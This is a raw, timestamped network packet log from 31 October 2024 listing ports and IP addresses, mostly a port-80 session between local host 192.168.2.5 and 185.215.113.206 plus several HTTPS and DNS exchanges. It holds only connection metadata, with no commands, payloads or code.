Oct 31, 2024 03:04:35.570244074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.570255995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.570347071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.571075916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.571086884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.571094990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.571161985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.571161985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.571871042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.571882963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.572020054 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.572690010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.572701931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.572712898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.572725058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.572746992 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.572770119 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.573506117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.573518991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.573527098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.573538065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.573601961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.573601961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.574336052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.574354887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.574363947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.574433088 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.574433088 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.575115919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.575129032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.575136900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.575459957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.575937986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.575951099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.575963974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.576031923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.576031923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.576596975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.576608896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.576620102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.576632023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.576654911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.576695919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.577622890 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.577635050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.577688932 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.578716040 CET	443	49908	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:35.578732967 CET	443	49908	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:35.578805923 CET	49908	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:35.578814983 CET	443	49908	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:35.579833031 CET	49908	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:35.579870939 CET	443	49908	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:35.579965115 CET	49908	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:35.583583117 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.583610058 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.583697081 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.583697081 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.583705902 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.583803892 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.585474968 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.585594893 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.604495049 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.604600906 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.604602098 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.604631901 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.604670048 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.604785919 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.613996983 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.614065886 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.614079952 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.614243031 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.614504099 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.614512920 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.721657991 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.721900940 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.721909046 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.721940994 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.724582911 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.730233908 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.730241060 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.750365973 CET	50379	53	192.168.2.5	162.159.36.2
Oct 31, 2024 03:04:35.755533934 CET	53	50379	162.159.36.2	192.168.2.5
Oct 31, 2024 03:04:35.756561995 CET	50379	53	192.168.2.5	162.159.36.2
Oct 31, 2024 03:04:35.767054081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.771996975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.825321913 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.825606108 CET	50381	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.825619936 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.825973988 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.826577902 CET	50381	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.826641083 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.827003002 CET	50381	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.836100101 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:35.836112022 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:35.836225986 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:35.840477943 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:35.840491056 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:35.862792015 CET	443	50383	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.863281965 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.863296032 CET	443	50383	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.863571882 CET	443	50382	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.864878893 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.864887953 CET	443	50382	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.865967035 CET	443	50382	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.866226912 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.867058992 CET	443	50383	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.867193937 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.867310047 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.867357969 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.867449999 CET	443	50382	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.867867947 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.867949009 CET	443	50383	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.919500113 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.919508934 CET	443	50382	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.919569016 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.919576883 CET	443	50383	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.945600033 CET	443	50380	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.948045015 CET	50380	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.948107958 CET	443	50380	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.948786974 CET	50380	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.948806047 CET	443	50380	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.963270903 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.963335991 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.999674082 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.999994040 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:36.000235081 CET	50381	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:36.000387907 CET	50381	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:36.000387907 CET	50381	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:36.000397921 CET	443	50381	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:36.000631094 CET	50381	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:36.007332087 CET	443	50384	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.007930994 CET	443	50385	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.007941961 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.007956028 CET	443	50384	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.008843899 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.008883953 CET	443	50385	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.009002924 CET	443	50384	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.009100914 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.009984970 CET	443	50385	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.010087013 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.010484934 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.010545015 CET	443	50384	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.010790110 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.011877060 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.011949062 CET	443	50385	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.012865067 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.012902975 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.013797998 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.013811111 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.051557064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.051569939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.051620007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.051650047 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.051702976 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.051784039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.051851988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.051877975 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.051981926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.052102089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052114964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052126884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052151918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.052309036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.052582979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052592993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052602053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052612066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052623034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.052659988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.052747965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.053497076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.053507090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.053517103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.053528070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.053539991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.053541899 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.053550005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.053553104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.053561926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.053606033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.053617001 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.053669930 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.054397106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.054409027 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.054419041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.054430008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.054439068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.054449081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.054460049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.054527998 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.054539919 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.054559946 CET	443	50385	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.054594040 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.054604053 CET	443	50384	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:36.055296898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.055309057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.055324078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.055335045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.055346966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.055358887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.055370092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.056195974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.056209087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.056219101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.056224108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.056231976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.056241035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.056250095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.056258917 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.056263924 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.056283951 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.057106018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.057118893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.057128906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.057133913 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.057141066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.057152987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.057163954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.057164907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.057208061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.057208061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.057996035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058011055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058024883 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058046103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058053970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.058053970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.058109045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.058736086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058749914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058760881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058773041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058783054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058794975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058799982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.058799982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.058806896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.058813095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.058851957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.058851957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.059637070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.059648991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.059659958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.059672117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.059684038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.059695005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.059710979 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.059767962 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.059767962 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.060534000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060547113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060561895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060574055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060585022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060589075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.060596943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060607910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060616016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.060616016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.060619116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.060631990 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.060677052 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.060678005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.061440945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.061453104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.061463118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.061475039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.061484098 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.061487913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.061499119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.061511993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.061542034 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.061542034 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.062340975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.062354088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.062364101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.062376976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.062386036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.062392950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.062397957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.062438011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.062438011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.062549114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.063234091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.063246012 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.063255072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.063265085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.063277960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.063288927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.063299894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.063302040 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.063327074 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.063371897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.091031075 CET	443	50380	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.091439962 CET	443	50380	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.092535019 CET	50380	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.092569113 CET	50380	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.092581987 CET	443	50380	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.092614889 CET	50380	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.092622042 CET	443	50380	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.095601082 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.095627069 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.095818996 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.096059084 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.096071005 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.102689028 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.102690935 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:36.138894081 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.139556885 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.139760017 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.140125990 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.140125990 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.140161037 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.140191078 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.146650076 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.146661043 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.146842957 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.148952007 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.148963928 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.214109898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214219093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214229107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214328051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.214417934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214430094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214440107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214449883 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214473009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.214569092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.214946985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.214956999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.215008974 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.215188026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.215199947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.215210915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.215221882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.215234041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.215245008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.215246916 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.215260029 CET	49823	80	192.168.2.5	185.215.113.206
